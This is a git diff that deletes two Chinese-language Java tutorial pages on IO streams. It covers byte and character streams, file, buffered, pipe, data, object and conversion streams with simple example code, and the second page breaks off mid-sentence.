-当程序需要读取数据的时候,就会开启一个通向数据源的流,这个数据源可以是文件,内存,或是网络连接。类似的,当程序需要写入数据的时候,就会开启一个通向目的地的流。这时候你就可以想象数据好像在这其中“流”动一样。 - -一般来说关于流的特性有下面几点: - -- 先进先出:最先写入输出流的数据最先被输入流读取到。 -- 顺序存取:可以一个接一个地往流中写入一串字节,读出时也将按写入顺序读取一串字节,不能随机访问中间的数据。(RandomAccessFile除外) -- 只读或只写:每个流只能是输入流或输出流的一种,不能同时具备两个功能,输入流只能进行读操作,对输出流只能进行写操作。在一个数据传输通道中,如果既要写入数据,又要读取数据,则要分别提供两个流。 - -### 01、传输方式划分 - -就按照你的那副思维导图来说吧。 - -传输方式有两种,字节和字符,那首先得搞明白字节和字符有什么区别,对吧? - -字节(byte)是计算机中用来表示存储容量的一个计量单位,通常情况下,一个字节有 8 位(bit)。 - -字符(char)可以是计算机中使用的字母、数字、和符号,比如说 A 1 $ 这些。 - -通常来说,一个字母或者一个字符占用一个字节,一个汉字占用两个字节。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/io/shangtou-02.png) - -具体还要看字符编码,比如说在 UTF-8 编码下,一个英文字母(不分大小写)为一个字节,一个中文汉字为三个字节;在 Unicode 编码中,一个英文字母为一个字节,一个中文汉字为两个字节。 - ->PS:关于字符编码,可以看前面的章节:[锟斤拷](https://javabetter.cn/basic-extra-meal/java-unicode.html) - -明白了字节与字符的区别,再来看字节流和字符流就会轻松多了。 - -字节流用来处理二进制文件,比如说图片啊、MP3 啊、视频啊。 - -字符流用来处理文本文件,文本文件可以看作是一种特殊的二进制文件,只不过经过了编码,便于人们阅读。 - -换句话说就是,字节流可以处理一切文件,而字符流只能处理文本。 - -虽然 IO 类很多,但核心的就是 4 个抽象类:InputStream、OutputStream、Reader、Writer。 - -(**抽象大法真好**) - -虽然 IO 类的方法也很多,但核心的也就 2 个:read 和 write。 - -**InputStream 类** - -- `int read()`:读取数据 -- `int read(byte b[], int off, int len)`:从第 off 位置开始读,读取 len 长度的字节,然后放入数组 b 中 -- `long skip(long n)`:跳过指定个数的字节 -- `int available()`:返回可读的字节数 -- `void close()`:关闭流,释放资源 - -**OutputStream 类** - -- `void write(int b)`: 写入一个字节,虽然参数是一个 int 类型,但只有低 8 位才会写入,高 24 位会舍弃(这块后面再讲) -- `void write(byte b[], int off, int len)`: 将数组 b 中的从 off 位置开始,长度为 len 的字节写入 -- `void flush()`: 强制刷新,将缓冲区的数据写入 -- `void close()`:关闭流 - -**Reader 类** - -- `int read()`:读取单个字符 -- `int read(char cbuf[], int off, int len)`:从第 off 位置开始读,读取 len 长度的字符,然后放入数组 b 中 -- `long skip(long n)`:跳过指定个数的字符 -- `int ready()`:是否可以读了 -- `void close()`:关闭流,释放资源 - -**Writer 类** - -- `void write(int c)`: 写入一个字符 -- `void write( char cbuf[], int off, int len)`: 将数组 cbuf 中的从 off 位置开始,长度为 len 的字符写入 -- `void flush()`: 强制刷新,将缓冲区的数据写入 -- `void close()`:关闭流 - -理解了上面这些方法,基本上 IO 的灵魂也就全部掌握了。 - -字节流和字符流的区别: - -- 字节流一般用来处理图像、视频、音频、PPT、Word等类型的文件。字符流一般用于处理纯文本类型的文件,如TXT文件等,但不能处理图像视频等非文本文件。用一句话说就是:字节流可以处理一切文件,而字符流只能处理纯文本文件。 -- 字节流本身没有缓冲区,缓冲字节流相对于字节流,效率提升非常高。而字符流本身就带有缓冲区,缓冲字符流相对于字符流效率提升就不是那么大了。 - -以写文件为例,我们查看字符流的源码,发现确实有利用到缓冲区: - -```java -// 声明一个 char 类型的数组,用于写入输出流 -private char[] writeBuffer; - -// 定义 writeBuffer 数组的大小,必须 >= 1 -private static final int WRITE_BUFFER_SIZE = 1024; - -// 写入给定字符串中的一部分到输出流中 -public void write(String str, int off, int len) throws IOException { - // 使用 synchronized 关键字同步代码块,确保线程安全 - synchronized (lock) { - char cbuf[]; - // 如果 len <= WRITE_BUFFER_SIZE,则使用 writeBuffer 数组进行写入 - if (len <= WRITE_BUFFER_SIZE) { - // 如果 writeBuffer 为 null,则创建一个大小为 WRITE_BUFFER_SIZE 的新 char 数组 - if (writeBuffer == null) { - writeBuffer = new char[WRITE_BUFFER_SIZE]; - } - cbuf = writeBuffer; - } else { // 如果 len > WRITE_BUFFER_SIZE,则不永久分配非常大的缓冲区 - // 创建一个大小为 len 的新 char 数组 - cbuf = new char[len]; - } - // 将 str 中的一部分(从 off 开始,长度为 len)拷贝到 cbuf 数组中 - str.getChars(off, (off + len), cbuf, 0); - // 将 cbuf 数组中的数据写入输出流中 - write(cbuf, 0, len); - } -} -``` - -这段代码是 Java IO 类库中的 OutputStreamWriter 类的 write 方法,可以看到缓冲区的大小是 1024 个 char。 - -我们再以文件的字符流和字节流来做一下对比,代码差别很小。 - -```java -// 字节流 -try (FileInputStream fis = new FileInputStream("input.txt"); - FileOutputStream fos = new FileOutputStream("output.txt")) { - byte[] buffer = new byte[1024]; - int len; - while ((len = fis.read(buffer)) != -1) { - fos.write(buffer, 0, len); - } -} catch (IOException e) { - e.printStackTrace(); -} - -// 字符流 -try (FileReader fr = new FileReader("input.txt"); - FileWriter fw = new FileWriter("output.txt")) { - char[] buffer = new char[1024]; - int len; - while ((len = fr.read(buffer)) != -1) { - fw.write(buffer, 0, len); - } -} catch (IOException e) { - e.printStackTrace(); -} -``` - -### 02、操作对象划分 - -小二,你细想一下,IO IO,不就是输入输出(Input/Output)嘛: - -- Input:将外部的数据读入内存,比如说把文件从硬盘读取到内存,从网络读取数据到内存等等 -- Output:将内存中的数据写入到外部,比如说把数据从内存写入到文件,把数据从内存输出到网络等等。 - -所有的程序,在执行的时候,都是在内存上进行的,一旦关机,内存中的数据就没了,那如果想要持久化,就需要把内存中的数据输出到外部,比如说文件。 - -文件操作算是 IO 中最典型的操作了,也是最频繁的操作。那其实你可以换个角度来思考,比如说按照 IO 的操作对象来思考,IO 就可以分类为:文件、数组、管道、基本数据类型、缓冲、打印、对象序列化/反序列化,以及转换等。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/io/shangtou-03.png) - - -#### **1)文件** - -文件流也就是直接操作文件的流,可以细分为字节流(FileInputStream 和 FileOuputStream)和字符流(FileReader 和 FileWriter)。 - -FileInputStream 的例子: - -```java -// 声明一个 int 类型的变量 b,用于存储读取到的字节 -int b; -// 创建一个 FileInputStream 对象,用于读取文件 fis.txt 中的数据 -FileInputStream fis1 = new FileInputStream("fis.txt"); - -// 循环读取文件中的数据 -while ((b = fis1.read()) != -1) { - // 将读取到的字节转换为对应的 ASCII 字符,并输出到控制台 - System.out.println((char)b); -} - -// 关闭 FileInputStream 对象,释放资源 -fis1.close(); -``` - -FileOutputStream 的例子: - -```java -// 创建一个 FileOutputStream 对象,用于写入数据到文件 fos.txt 中 -FileOutputStream fos = new FileOutputStream("fos.txt"); - -// 向文件中写入数据,这里写入的是字符串 "沉默王二" 对应的字节数组 -fos.write("沉默王二".getBytes()); - -// 关闭 FileOutputStream 对象,释放资源 -fos.close(); -``` - -FileReader 的例子: - -```java -// 声明一个 int 类型的变量 b,用于存储读取到的字符 -int b = 0; - -// 创建一个 FileReader 对象,用于读取文件 read.txt 中的数据 -FileReader fileReader = new FileReader("read.txt"); - -// 循环读取文件中的数据 -while ((b = fileReader.read()) != -1) { - // 将读取到的字符强制转换为 char 类型,并输出到控制台 - System.out.println((char)b); -} - -// 关闭 FileReader 对象,释放资源 -fileReader.close(); -``` - -FileWriter 的例子: - -```java -// 创建一个 FileWriter 对象,用于写入数据到文件 fw.txt 中 -FileWriter fileWriter = new FileWriter("fw.txt"); - -// 将字符串 "沉默王二" 转换为字符数组 -char[] chars = "沉默王二".toCharArray(); - -// 向文件中写入数据,这里写入的是 chars 数组中的所有字符 -fileWriter.write(chars, 0, chars.length); - -// 关闭 FileWriter 对象,释放资源 -fileWriter.close(); -``` - -文件流还可以用于创建、删除、重命名文件等操作。FileOutputStream 和 FileWriter 构造函数的第二个参数可以指定是否追加数据到文件末尾。 - -示例代码: - -```java -// 创建文件 -File file = new File("test.txt"); -if (file.createNewFile()) { - System.out.println("文件创建成功"); -} else { - System.out.println("文件已存在"); -} - -// 删除文件 -if (file.delete()) { - System.out.println("文件删除成功"); -} else { - System.out.println("文件删除失败"); -} - -// 重命名文件 -File oldFile = new File("old.txt"); -File newFile = new File("new.txt"); -if (oldFile.renameTo(newFile)) { - System.out.println("文件重命名成功"); -} else { - System.out.println("文件重命名失败"); -} -``` - -当掌握了文件的输入输出,其他的自然也就掌握了,都大差不差。 - -#### **2)数组(内存)** - -通常来说,针对文件的读写操作,使用文件流配合缓冲流就够用了,但为了提升效率,频繁地读写文件并不是太好,那么就出现了数组流,有时候也称为内存流。 - -ByteArrayInputStream 的例子: - -```java -// 创建一个 ByteArrayInputStream 对象,用于从字节数组中读取数据 -InputStream is = new BufferedInputStream( - new ByteArrayInputStream( - "沉默王二".getBytes(StandardCharsets.UTF_8))); - -// 定义一个字节数组用于存储读取到的数据 -byte[] flush = new byte[1024]; - -// 定义一个变量用于存储每次读取到的字节数 -int len = 0; - -// 循环读取字节数组中的数据,并输出到控制台 -while (-1 != (len = is.read(flush))) { - // 将读取到的字节转换为对应的字符串,并输出到控制台 - System.out.println(new String(flush, 0, len)); -} - -// 关闭输入流,释放资源 -is.close(); -``` - -ByteArrayOutputStream 的例子: - -```java -// 创建一个 ByteArrayOutputStream 对象,用于写入数据到内存缓冲区中 -ByteArrayOutputStream bos = new ByteArrayOutputStream(); - -// 定义一个字节数组用于存储要写入内存缓冲区中的数据 -byte[] info = "沉默王二".getBytes(); - -// 向内存缓冲区中写入数据,这里写入的是 info 数组中的所有字节 -bos.write(info, 0, info.length); - -// 将内存缓冲区中的数据转换为字节数组 -byte[] dest = bos.toByteArray(); - -// 关闭 ByteArrayOutputStream 对象,释放资源 -bos.close(); -``` - -数组流可以用于在内存中读写数据,比如将数据存储在字节数组中进行压缩、加密、序列化等操作。它的优点是不需要创建临时文件,可以提高程序的效率。但是,数组流也有缺点,它只能存储有限的数据量,如果存储的数据量过大,会导致内存溢出。 - -#### **3)管道** - -Java 中的管道和 Unix/Linux 中的管道不同,在 Unix/Linux 中,不同的进程之间可以通过管道来通信,但 Java 中,通信的双方必须在同一个进程中,也就是在同一个 JVM 中,管道为线程之间的通信提供了通信能力。 - -一个线程通过 PipedOutputStream 写入的数据可以被另外一个线程通过相关联的 PipedInputStream 读取出来。 - -```java -// 创建一个 PipedOutputStream 对象和一个 PipedInputStream 对象 -final PipedOutputStream pipedOutputStream = new PipedOutputStream(); -final PipedInputStream pipedInputStream = new PipedInputStream(pipedOutputStream); - -// 创建一个线程,向 PipedOutputStream 中写入数据 -Thread thread1 = new Thread(new Runnable() { - @Override - public void run() { - try { - // 将字符串 "沉默王二" 转换为字节数组,并写入到 PipedOutputStream 中 - pipedOutputStream.write("沉默王二".getBytes(StandardCharsets.UTF_8)); - // 关闭 PipedOutputStream,释放资源 - pipedOutputStream.close(); - } catch (IOException e) { - e.printStackTrace(); - } - } -}); - -// 创建一个线程,从 PipedInputStream 中读取数据并输出到控制台 -Thread thread2 = new Thread(new Runnable() { - @Override - public void run() { - try { - // 定义一个字节数组用于存储读取到的数据 - byte[] flush = new byte[1024]; - // 定义一个变量用于存储每次读取到的字节数 - int len = 0; - // 循环读取字节数组中的数据,并输出到控制台 - while (-1 != (len = pipedInputStream.read(flush))) { - // 将读取到的字节转换为对应的字符串,并输出到控制台 - System.out.println(new String(flush, 0, len)); - } - // 关闭 PipedInputStream,释放资源 - pipedInputStream.close(); - } catch (IOException e) { - e.printStackTrace(); - } - } -}); - -// 启动线程1和线程2 -thread1.start(); -thread2.start(); -``` - -使用管道流可以实现不同线程之间的数据传输,可以用于线程间的通信、数据的传递等。但是,管道流也有一些局限性,比如只能在同一个 JVM 中的线程之间使用,不能跨越不同的 JVM 进程。 - -#### **4)基本数据类型** - -基本数据类型输入输出流是一个字节流,该流不仅可以读写字节和字符,还可以读写基本数据类型。 - -DataInputStream 提供了一系列可以读基本数据类型的方法: - -```java -// 创建一个 DataInputStream 对象,用于从文件中读取数据 -DataInputStream dis = new DataInputStream(new FileInputStream("das.txt")); - -// 读取一个字节,将其转换为 byte 类型 -byte b = dis.readByte(); - -// 读取两个字节,将其转换为 short 类型 -short s = dis.readShort(); - -// 读取四个字节,将其转换为 int 类型 -int i = dis.readInt(); - -// 读取八个字节,将其转换为 long 类型 -long l = dis.readLong(); - -// 读取四个字节,将其转换为 float 类型 -float f = dis.readFloat(); - -// 读取八个字节,将其转换为 double 类型 -double d = dis.readDouble(); - -// 读取一个字节,将其转换为 boolean 类型 -boolean bb = dis.readBoolean(); - -// 读取两个字节,将其转换为 char 类型 -char ch = dis.readChar(); - -// 关闭 DataInputStream,释放资源 -dis.close(); -``` - -DataOutputStream 提供了一系列可以写基本数据类型的方法: - -```java -// 创建一个 DataOutputStream 对象,用于将数据写入到文件中 -DataOutputStream das = new DataOutputStream(new FileOutputStream("das.txt")); - -// 将一个 byte 类型的数据写入到文件中 -das.writeByte(10); - -// 将一个 short 类型的数据写入到文件中 -das.writeShort(100); - -// 将一个 int 类型的数据写入到文件中 -das.writeInt(1000); - -// 将一个 long 类型的数据写入到文件中 -das.writeLong(10000L); - -// 将一个 float 类型的数据写入到文件中 -das.writeFloat(12.34F); - -// 将一个 double 类型的数据写入到文件中 -das.writeDouble(12.56); - -// 将一个 boolean 类型的数据写入到文件中 -das.writeBoolean(true); - -// 将一个 char 类型的数据写入到文件中 -das.writeChar('A'); - -// 关闭 DataOutputStream,释放资源 -das.close(); -``` - -除了 DataInputStream 和 DataOutputStream,Java IO 还提供了其他一些读写基本数据类型和字符串的流类,包括 ObjectInputStream 和 ObjectOutputStream(用于读写对象)。 - -示例代码: - -```java -public static void main(String[] args) { - try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("person.dat"))) { - Person p = new Person("张三", 20); - oos.writeObject(p); - } catch (IOException e) { - e.printStackTrace(); - } - - try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("person.dat"))) { - Person p = (Person) ois.readObject(); - System.out.println(p); - } catch (IOException | ClassNotFoundException e) { - e.printStackTrace(); - } -} -``` - -以上代码创建了一个 Person 对象,将其写入文件中,然后从文件中读取该对象,并打印在控制台上。 - -#### **5)缓冲** - -CPU 很快,它比内存快 100 倍,比磁盘快百万倍。那也就意味着,程序和内存交互会很快,和硬盘交互相对就很慢,这样就会导致性能问题。 - -为了减少程序和硬盘的交互,提升程序的效率,就引入了缓冲流,也就是类名前缀带有 Buffer 的那些,比如说 BufferedInputStream、BufferedOutputStream、BufferedReader、BufferedWriter。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/io/shangtou-04.png) - - -缓冲流在内存中设置了一个缓冲区,只有缓冲区存储了足够多的带操作的数据后,才会和内存或者硬盘进行交互。简单来说,就是一次多读/写点,少读/写几次,这样程序的性能就会提高。 - -以下是一个使用 BufferedInputStream 读取文件的示例代码: - -```java -// 创建一个 BufferedInputStream 对象,用于从文件中读取数据 -BufferedInputStream bis = new BufferedInputStream(new FileInputStream("data.txt")); - -// 创建一个字节数组,作为缓存区 -byte[] buffer = new byte[1024]; - -// 读取文件中的数据,并将其存储到缓存区中 -int bytesRead; -while ((bytesRead = bis.read(buffer)) != -1) { - // 对缓存区中的数据进行处理 - // 这里只是简单地将读取到的字节数组转换为字符串并打印出来 - System.out.println(new String(buffer, 0, bytesRead)); -} - -// 关闭 BufferedInputStream,释放资源 -bis.close(); -``` - -上述代码中,首先创建了一个 BufferedInputStream 对象,用于从文件中读取数据。然后创建了一个字节数组作为缓存区,每次读取数据时将数据存储到缓存区中。读取数据的过程是通过 while 循环实现的,每次读取数据后对缓存区中的数据进行处理。最后关闭 BufferedInputStream,释放资源。 - -以下是一个使用 BufferedOutputStream 写入文件的示例代码: - -```java -// 创建一个 BufferedOutputStream 对象,用于将数据写入到文件中 -BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream("data.txt")); - -// 创建一个字节数组,作为缓存区 -byte[] buffer = new byte[1024]; - -// 将数据写入到文件中 -String data = "沉默王二是个大傻子!"; -buffer = data.getBytes(); -bos.write(buffer); - -// 刷新缓存区,将缓存区中的数据写入到文件中 -bos.flush(); - -// 关闭 BufferedOutputStream,释放资源 -bos.close(); -``` - -上述代码中,首先创建了一个 BufferedOutputStream 对象,用于将数据写入到文件中。然后创建了一个字节数组作为缓存区,将数据写入到缓存区中。写入数据的过程是通过 write() 方法实现的,将字节数组作为参数传递给 write() 方法即可。 - -最后,通过 flush() 方法将缓存区中的数据写入到文件中。在写入数据时,由于使用了 BufferedOutputStream,数据会先被写入到缓存区中,只有在缓存区被填满或者调用了 flush() 方法时才会将缓存区中的数据写入到文件中。 - -以下是一个使用 BufferedReader 读取文件的示例代码: - -```java -// 创建一个 BufferedReader 对象,用于从文件中读取数据 -BufferedReader br = new BufferedReader(new FileReader("data.txt")); - -// 读取文件中的数据,并将其存储到字符串中 -String line; -while ((line = br.readLine()) != null) { - // 对读取到的数据进行处理 - // 这里只是简单地将读取到的每一行字符串打印出来 - System.out.println(line); -} - -// 关闭 BufferedReader,释放资源 -br.close(); -``` - -上述代码中,首先创建了一个 BufferedReader 对象,用于从文件中读取数据。然后使用 readLine() 方法读取文件中的数据,每次读取一行数据并将其存储到一个字符串中。读取数据的过程是通过 while 循环实现的。 - -以下是一个使用 BufferedWriter 写入文件的示例代码: - -```java -// 创建一个 BufferedWriter 对象,用于将数据写入到文件中 -BufferedWriter bw = new BufferedWriter(new FileWriter("data.txt")); - -// 将数据写入到文件中 -String data = "沉默王二,真帅气"; -bw.write(data); - -// 刷新缓存区,将缓存区中的数据写入到文件中 -bw.flush(); - -// 关闭 BufferedWriter,释放资源 -bw.close(); -``` - -上述代码中,首先创建了一个 BufferedWriter 对象,用于将数据写入到文件中。然后使用 write() 方法将数据写入到缓存区中,写入数据的过程和使用 FileWriter 类似。需要注意的是,使用 BufferedWriter 写入数据时,数据会先被写入到缓存区中,只有在缓存区被填满或者调用了 flush() 方法时才会将缓存区中的数据写入到文件中。 - -最后,通过 flush() 方法将缓存区中的数据写入到文件中,并通过 close() 方法关闭 BufferedWriter,释放资源。 - -使用缓冲流可以提高读写效率,减少了频繁的读写磁盘或网络的次数,从而提高了程序的性能。但是,在使用缓冲流时需要注意缓冲区的大小和清空缓冲区的时机,以避免数据丢失或不完整的问题。 - -#### **6)打印** - -Java 的打印流是一组用于打印输出数据的类,包括 PrintStream 和 PrintWriter 两个类。 - -恐怕 Java 程序员一生当中最常用的就是打印流了:`System.out` 其实返回的就是一个 PrintStream 对象,可以用来打印各式各样的对象。 - -```java -System.out.println("沉默王二是真的二!"); -``` - -PrintStream 最终输出的是字节数据,而 PrintWriter 则是扩展了 Writer 接口,所以它的 `print()/println()` 方法最终输出的是字符数据。使用上几乎和 PrintStream 一模一样。 - -```java -StringWriter buffer = new StringWriter(); -try (PrintWriter pw = new PrintWriter(buffer)) { - pw.println("沉默王二"); -} -System.out.println(buffer.toString()); -``` - -#### **7)对象序列化/反序列化** - -序列化本质上是将一个 Java 对象转成字节数组,然后可以将其保存到文件中,或者通过网络传输到远程。 - -```java -// 创建一个 ByteArrayOutputStream 对象 buffer,用于存储数据 -ByteArrayOutputStream buffer = new ByteArrayOutputStream(); - -// 使用 try-with-resources 语句创建一个 ObjectOutputStream 对象 output,并将其与 buffer 关联 -try (ObjectOutputStream output = new ObjectOutputStream(buffer)) { - - // 使用 writeUTF() 方法将字符串 "沉默王二" 写入到缓冲区中 - output.writeUTF("沉默王二"); -} - -// 使用 toByteArray() 方法将缓冲区中的数据转换成字节数组,并输出到控制台 -System.out.println(Arrays.toString(buffer.toByteArray())); -``` - -与其对应的,有序列化,就有反序列化,也就是再将字节数组转成 Java 对象的过程。 - -```java -try (ObjectInputStream input = new ObjectInputStream(new FileInputStream( - new File("Person.txt")))) { - String s = input.readUTF(); -} -``` - -这段代码主要使用了 Java 的 ByteArrayOutputStream 和 ObjectOutputStream 类,将字符串 "沉默王二" 写入到一个字节数组缓冲区中,并将缓冲区中的数据转换成字节数组输出到控制台。 - -具体的执行过程如下: - -- 创建一个 ByteArrayOutputStream 对象 buffer,用于存储数据。 -- 使用 [try-with-resources](https://javabetter.cn/exception/try-with-resources.html) 语句创建一个 ObjectOutputStream 对象 output,并将其与 buffer 关联。 -- 使用 writeUTF() 方法将字符串 "沉默王二" 写入到缓冲区中。 -- 当 try-with-resources 语句执行完毕时,会自动调用 output 的 close() 方法关闭输出流,释放资源。 -- 使用 toByteArray() 方法将缓冲区中的数据转换成字节数组。 -- 使用 Arrays.toString() 方法将字节数组转换成字符串,并输出到控制台。 - -#### **8)转换** - -InputStreamReader 是从字节流到字符流的桥连接,它使用指定的字符集读取字节并将它们解码为字符。 - -```java -// 创建一个 InputStreamReader 对象 isr,使用 FileInputStream 对象读取文件 demo.txt 的内容并将其转换为字符流 -InputStreamReader isr = new InputStreamReader(new FileInputStream("demo.txt")); - -// 创建一个字符数组 cha,用于存储读取的字符数据,其中 1024 表示数组的长度 -char[] cha = new char[1024]; - -// 使用 read() 方法读取 isr 中的数据,并将读取的字符数据存储到 cha 数组中,返回值 len 表示读取的字符数 -int len = isr.read(cha); - -// 将 cha 数组中从下标 0 开始、长度为 len 的部分转换成字符串,并输出到控制台 -System.out.println(new String(cha, 0, len)); - -// 关闭 InputStreamReader 对象 isr,释放资源 -isr.close(); -``` - -这段代码主要使用了 Java 的 InputStreamReader 和 FileInputStream 类,从文件 demo.txt 中读取数据并将其转换为字符流,然后将读取的字符数据存储到一个字符数组中,并输出转换成字符串后的结果到控制台。 - -OutputStreamWriter 将一个字符流的输出对象变为字节流的输出对象,是字符流通向字节流的桥梁。 - -```java -// 创建一个 File 对象 f,表示文件 test.txt -File f = new File("test.txt"); - -// 创建一个 OutputStreamWriter 对象 out,使用 FileOutputStream 对象将数据写入到文件 f 中,并将字节流转换成字符流 -Writer out = new OutputStreamWriter(new FileOutputStream(f)); - -// 使用 write() 方法将字符串 "沉默王二!!" 写入到文件 f 中 -out.write("沉默王二!!"); - -// 关闭 Writer 对象 out,释放资源 -out.close(); -``` - -使用转换流可以方便地在字节流和字符流之间进行转换。在进行文本文件读写时,通常使用字符流进行操作,而在进行网络传输或与设备进行通信时,通常使用字节流进行操作。 - -另外,在使用转换流时需要注意字符编码的问题。如果不指定字符编码,则使用默认的字符编码,可能会出现乱码问题。因此,建议在使用转换流时,始终指定正确的字符编码,以避免出现乱码问题。 - -“小二啊,你看,经过我的梳理,是不是感觉 IO 也没多少东西!针对不同的场景、不同的业务,选择对应的 IO 流就可以了,用法上就是读和写。”老王一口气讲完这些,长长的舒了一口气。 - -此时此刻的小二,还沉浸在老王的滔滔不绝中。不仅感觉老王的肺活量是真的大,还感慨老王不愧是工作了十多年的“老油条”,一下子就把自己感觉头大的 IO 给梳理得很清晰了。 - ---------- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) - - - - - - - - - - diff --git a/docs/src/io/stream.md b/docs/src/io/stream.md deleted file mode 100644 index 12e4e81e68..0000000000 --- a/docs/src/io/stream.md +++ /dev/null @@ -1,370 +0,0 @@ ---- -title: Java 字节流:Java IO 的基石 -shortTitle: 字节流 -category: - - Java核心 -tag: - - Java IO -description: 本文详细介绍了字节流在 Java IO 操作中的核心作用,阐述了字节流在处理各种输入输出任务时的重要性。同时,文章还提供了字节流的实际应用示例和常用方法。阅读本文,将帮助您更深入地了解字节流及其在 Java 编程中的关键地位,提高 IO 操作效率。 -head: - - - meta - - name: keywords - content: Java,IO,java io,OutputStream,InputStream,字节流,java 字节流, 输入输出 ---- - - -我们必须得明确一点,一切文件(文本、视频、图片)的数据都是以二进制的形式存储的,传输时也是。所以,字节流可以传输任意类型的文件数据。 - -### 字节输出流(OutputStream) - -`java.io.OutputStream` 是**字节输出流**的**超类**(父类),我们来看一下它定义的一些共性方法: - -1、 `close()` :关闭此输出流并释放与此流相关联的系统资源。 - -2、 `flush()` :刷新此输出流并强制缓冲区的字节被写入到目的地。 - -3、 `write(byte[] b)`:将 b.length 个字节从指定的字节数组写入此输出流。 - -4、 `write(byte[] b, int off, int len)` :从指定的字节数组写入 len 字节到此输出流,从偏移量 off开始。 **也就是说从off个字节数开始一直到len个字节结束** - -### FileOutputStream类 - -`OutputStream` 有很多子类,我们从最简单的一个子类 FileOutputStream 开始。看名字就知道是文件输出流,用于将数据写入到文件。 - -#### **1)FileOutputStrea 的构造方法** - -1、使用文件名创建 FileOutputStream 对象。 - -```java -String fileName = "example.txt"; -FileOutputStream fos = new FileOutputStream(fileName); -``` - -以上代码使用文件名 "example.txt" 创建一个 FileOutputStream 对象,将数据写入到该文件中。**如果文件不存在,则创建一个新文件;如果文件已经存在,则覆盖原有文件**。 - -2、使用文件对象创建 FileOutputStream 对象。 - -```java -File file = new File("example.txt"); -FileOutputStream fos = new FileOutputStream(file); -``` - -FileOutputStream 的使用示例: - -```java -FileOutputStream fos = null; -try { - fos = new FileOutputStream("example.txt"); - fos.write("沉默王二".getBytes()); -} catch (IOException e) { - e.printStackTrace(); -} finally { - if (fos != null) { - try { - fos.close(); - } catch (IOException e) { - e.printStackTrace(); - } - } -} -``` - -以上代码创建了一个 FileOutputStream 对象,将字符串 "沉默王二" 写入到 example.txt 文件中,并在最后关闭了输出流。 - - -#### **2)FileOutputStream 写入字节数据** - -使用 FileOutputStream 写入字节数据主要通过 `write` 方法: - -```java -write(int b) -write(byte[] b) -write(byte[] b,int off,int len) //从`off`索引开始,`len`个字节 -``` - - -①、**写入字节**:`write(int b)` 方法,每次可以写入一个字节,代码如下: - -```java -// 使用文件名称创建流对象 -FileOutputStream fos = new FileOutputStream("fos.txt"); -// 写出数据 -fos.write(97); // 第1个字节 -fos.write(98); // 第2个字节 -fos.write(99); // 第3个字节 -// 关闭资源 -fos.close(); -``` - -字符 a 的 [ASCII 值](https://javabetter.cn/basic-extra-meal/java-unicode.html)为 97,字符 b 的ASCII 值为 98,字符 b 的ASCII 值为 99。也就是说,以上代码可以写成: - -```java -// 使用文件名称创建流对象 -FileOutputStream fos = new FileOutputStream("fos.txt"); -// 写出数据 -fos.write('a'); // 第1个字节 -fos.write('b'); // 第2个字节 -fos.write('c'); // 第3个字节 -// 关闭资源 -fos.close(); -``` - -当使用 `write(int b)` 方法写出一个字节时,参数 b 表示要写出的字节的整数值。由于一个字节只有8位,因此参数 b 的取值范围应该在 0 到 255 之间,超出这个范围的值将会被截断。例如,如果参数 b 的值为 -1,那么它会被截断为 255,如果参数 b 的值为 256,那么它会被截断为 0。 - -在将参数 b 写入输出流中时,write(int b) 方法只会将参数 b 的低8位写入,而忽略高24位。这是因为在 Java 中,整型类型(包括 byte、short、int、long)在内存中以二进制补码形式表示。当将一个整型值传递给 write(int b) 方法时,方法会将该值转换为 byte 类型,只保留二进制补码的低8位,而忽略高24位。 - -例如,如果要写出的整数为 0x12345678,它的二进制补码表示为 0001 0010 0011 0100 0101 0110 0111 1000。当使用 write(int b) 方法写出该整数时,只会将二进制补码的低8位 0111 1000 写出,而忽略高24位 0001 0010 0011 0100 0101 0110。这就是参数 b 的高24位被忽略的原因。 - -0111 1000 是一个8位的二进制数,它对应的十进制数是 120,对应的 ASCII 码字符是小写字母 "x"。在 ASCII 码表中,小写字母 "x" 的十进制 ASCII 码值为 120。因此,如果使用 write(int b) 方法写出一个字节值为 0x78(十进制为 120),那么写出的结果就是小写字母 "x"。 - -我们来验证一下: - -```java -FileOutputStream fos = null; -try { - fos = new FileOutputStream("example.txt"); - - fos.write(120); - fos.write('x'); - fos.write(0x12345678); -} catch (IOException e) { - e.printStackTrace(); -} finally { - if (fos != null) { - try { - fos.close(); - } catch (IOException e) { - e.printStackTrace(); - } - } -} -``` - -来看一下结果: - -![](https://cdn.paicoding.com/studymore/stream-20230318105229.png) - -果然是 3 个 x。 - -②、**写入字节数组**:`write(byte[] b)`,代码示例: - -```java -// 使用文件名称创建流对象 -FileOutputStream fos = new FileOutputStream("fos.txt"); -// 字符串转换为字节数组 -byte[] b = "沉默王二有点帅".getBytes(); -// 写入字节数组数据 -fos.write(b); -// 关闭资源 -fos.close(); -``` - - -③、**写入指定长度字节数组**:`write(byte[] b, int off, int len)`,代码示例: - -```java -// 使用文件名称创建流对象 -FileOutputStream fos = new FileOutputStream("fos.txt"); -// 字符串转换为字节数组 -byte[] b = "abcde".getBytes(); -// 从索引2开始,2个字节。索引2是c,两个字节,也就是cd。 -fos.write(b,2,2); -// 关闭资源 -fos.close(); -``` - - -#### **3)FileOutputStream实现数据追加、换行** - -在上面的代码示例中,每次运行程序都会创建新的输出流对象,于是文件中的数据也会被清空。如果想保留目标文件中的数据,还能继续**追加新数据**,该怎么办呢?以及如何实现**换行**呢? - -其实很简单。 - -我们来学习`FileOutputStream`的另外两个构造方法,如下: - -1、使用文件名和追加标志创建 FileOutputStream 对象 - -```java -String fileName = "example.txt"; -boolean append = true; -FileOutputStream fos = new FileOutputStream(fileName, append); -``` - -以上代码使用文件名 "example.txt" 和追加标志创建一个 FileOutputStream 